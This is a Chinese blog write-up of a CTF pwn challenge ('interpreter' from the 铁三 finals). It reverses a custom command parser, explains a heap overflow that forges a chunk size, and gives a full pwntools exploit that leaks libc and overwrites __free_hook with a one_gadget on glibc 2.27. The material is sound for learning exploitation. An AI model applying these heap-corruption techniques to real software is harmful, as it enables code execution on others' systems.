铁三决赛interpreter wp

感觉最近好不想写博客了,这篇稍微水一点吧,主要是记录一下自己的做题笔记

这个题看题看的时间不长,大体逻辑很快就能看完,难点主要在他自己实现的一个格式的逆向,和软件安全赛encoder那道题感觉可以归为一类

题目分析

题目让我们输入的是他自己的一种指令格式,所以我们首先要把他的指令格式逆出来,进入vuln函数查看,这也是这个题的主要函数

根据字符串可知,题目有增删查,没有改,同时根据”\x00″,” “,”:”这三种字符作为分隔符,想要触发add分支,根据第9行if语句可知,要用分隔符做间隔,所以首先应该输入的是“add xxx”,delete,show同理,进入add函数

再次结合if语句可知,add 后面要跟的参数是data,后面以”:”做分隔,所以最终我们逆出来add的格式为“add data:content”,其他两个函数同理,不多解释

def add(content):
    p.sla(b'user@machine$ ',b'add data:'+content)

def delete(index):
    p.sla(b'user@machine$ ',f'delete index:{index}')

def show():
    p.sla(b'user@machine$ ',f'show ')

快速扫一眼发现没有常见的溢出,也没有有uaf,double free之类的, 所以推测漏洞出现在他自己实现的函数上,也就是add里面的函数

最终找到sub_CF7函数,说一下add函数的大体流程吧,首先根据输入的data,调用strdup函数在堆上分配空间,然后调用sub_CF7函数,该函数根据原始data,对开辟在堆上的data进行一系列魔幻操作,正是这些魔幻操作,导致了溢出

sub_CF7函数里面是一堆又臭又长的烦人代码,扔给AI分析了半天也没分析明白,这里还是结合gdb动调,才摸清一点这个函数的逻辑,其实到现在我也没完全搞清楚这个函数的逻辑,这里直接拿一组溢出样例讲一下吧,具体的原理还需要读者静下心来,仔细逆向源码才行

这个函数遇到“:”时,会检测“:”前面的字符串是否是title,subtitle,remark,author字符串里的其中某一个(这里的检测利用的是strncmp),如果是,会将这个字符串拷贝到堆上,然后添加“:”,再将原先“:”后面的内容复制过去

这里我们来一组溢出样例:”remark:remarkaaaa:bbbb\0\0\0\0\0\0\0\0\0\0\0\0\0\0……”(由于memset,所以bbbb后面全是0,不需要显式的写入)

最终的输出为:“remark:remarkaaaa:bbbb|remark:bbbb|remark:\0\0\0\0”

解释一下成因,我们需要两个指针来解释,buf永远不会变,只是有一个指针v17用于指向当前堆上数据复制到了buf的第几位数据,初始时v17=0

buf ->r e m a r k :remarkaaaa:bbbb\0\0\0\0\0\0\0\0\0\0\0\0\0\0

v17

heap->r e m a r k :remarkaaaa:bbbb(注意,strdup函数不会把\0带进去)

a1

第一次遇到了“:”,此时分号前是remark,于是分号后面的所有东西都被当成了remark的内容给复制到了堆上

buf ->remark:r e m a rkaaaa:bbbb\0\0\0\0\0\0\0\0\0\0\0\0\0\0

v17

heap->remark:remarkaaaa :bbbb|

a1

第二次遇到了“:”,此时分号前根据strncmp函数比较,是成立的,于是heap的|后面继续复制了一个remark,该分号后面的bbbb被当做内容复制了进去

buf ->remark:remarkaaaa:bbbb \0 \0 \0\0\0\0\0\0\0\0\0\0\0\0

v17

heap->remark:remarkaaaa:bbbb | remark : bbbb|

a1

第三次遇到的“:”,是由于第二次遇到的分号导致连接在原先字符串后面的,遇到该分号后,字符串比较仍然成立,于是堆上数据变成了

heap->remark:remarkaaaa:bbbb | remark : bbbb|remark:\0\0\0\0

由于后面会检测当前末尾是否是0,此时满足检测,所以不再继续(这里说的貌似不太准确,还望读者自行验证)

总之大体逻辑是这样的

解题思路

通过题目分析,发现没有常见的溢出,所以要用题目自己实现的这个函数来进行溢出,经过好久的动态调试,最终发现如下payload:remark:remarkaaaaaaaa:b\0ccccccc\x31\x0f

然而有一个问题,这段payload需要申请的大小是0x10,对应的size位是0x21,然而这段paylaod所能控制的位置却是在0x28的位置,可能你看的有点蒙,这里我直接拿gdb演示一下

所以我们必须让这段payload申请出来的堆块大小是0x31,怎么办呢 ?

答案是用unsortedbin,如果unsortedbin只剩0x31的大小,但我此时申请一个0x21的堆块,那么unsortedbin会把这0x31全部给它,而不是留下一个0x11的bin,所以我们只需要预先释放出一块大点的unsortedbin,然后申请回来一部分,留下一个大小为0x31的unsortedbin,于是下次申请就可以吧0x21大小的堆申请成0x31的了

于是就有了以下payload

add(b'0'*0x4f0)
add(b'1'*0x500)
add(b'2'*0x500)
add(b'3'*0x500)
add(b'4'*0x500)
add(b'5'*0x500)
add(b'6'*0x20)
add(b'7'*0x20)
add(b'8'*0x20)
delete(3)
add(b'3'*0x500)
delete(2)

add(b'2'*0x4d0)#2
add(b'remark:remarkaaaaaaaa:b\0ccccccc\x31\x0f')#9

该payload成功伪造了下一个堆块的size,让后面的三个堆块造成重叠,接下来我画个示意图,红色表示未释放,绿色表示已释放

伪造size之后,fake chunk就囊括了chunk1,chunk2,chunk3,然后释放chunk1,就相当于释放了fake chunk

这时chunk1的指针已经没有了,但是chunk2,chunk3的指针还有残留,我们再次申请一个chunk1大小的堆块,于是由于unsortedbin的特性chunk2中就有了libc地址,由此我们就可以泄露libc地址了,heapbase在此题中没有作用,所以不需要泄露

后面的操作就是修改tcache的fd指针指向free_hook,然后再改free_hook为onegadget即可

值得一提的是,2.27版本下tcache分配的时候完全不检验size位是否合法,所以哪怕size位被破坏,只要tcache的指针表里有东西,就能成功申请,当然再次释放肯定就会报错,不过这里确实没绷住。

我认为的重点就这些了,后面的内容读者可以根据exp自己调试一下

from pwnplus import *
context.arch = 'amd64'
context.log_level = 'debug'

p=mypwn('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
def add(content):
    p.sla(b'user@machine$ ',b'add data:'+content)

def delete(index):
    p.sla(b'user@machine$ ',f'delete index:{index}')

def show():
    p.sla(b'user@machine$ ',f'show ')

add(b'0'*0x4f0)
add(b'1'*0x500)
add(b'2'*0x500)
add(b'3'*0x500)
add(b'4'*0x500)
add(b'5'*0x500)
add(b'6'*0x20)
add(b'7'*0x20)
add(b'8'*0x20)
delete(3)
add(b'3'*0x500)
delete(2)

add(b'2'*0x4d0)#2
add(b'remark:remarkaaaaaaaa:b\0ccccccc\x31\x0f')#9

#------------------泄露libc--------------------------
delete(3)
add(b'3'*0x500)
show()
p.rcvu(b'Data #4:\nData: ')
libcbase=p.uu64()-0x3ebca0
print(f'libcbase:{hex(libcbase)}')
onegadget=[0x4f29e,0x4f2a5,0x4f302,0x10a2fc]

#------------------修改free_hook-------------------------
delete(7)
delete(6)
add(b'7'*0x500)
add(b'6'*0x4b0)
add(b'remark:remarkaa:bbbbbbbbbbbbbbbbbbbbbbbb\0ccccccc'+p64(libcbase+libc.symbols['__free_hook']-0x18)+b'\0\0\0\0\0\0\0\0cccccccccccccccccccccccccc')#10
add(b'8'*0x20)
add(b'aaaaaaaaaaaaaaa|remark:|'+p64(libcbase+onegadget[2]))

delete(0)
p.debug('set max-visualize-chunk-size 0x500')

p.ia()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇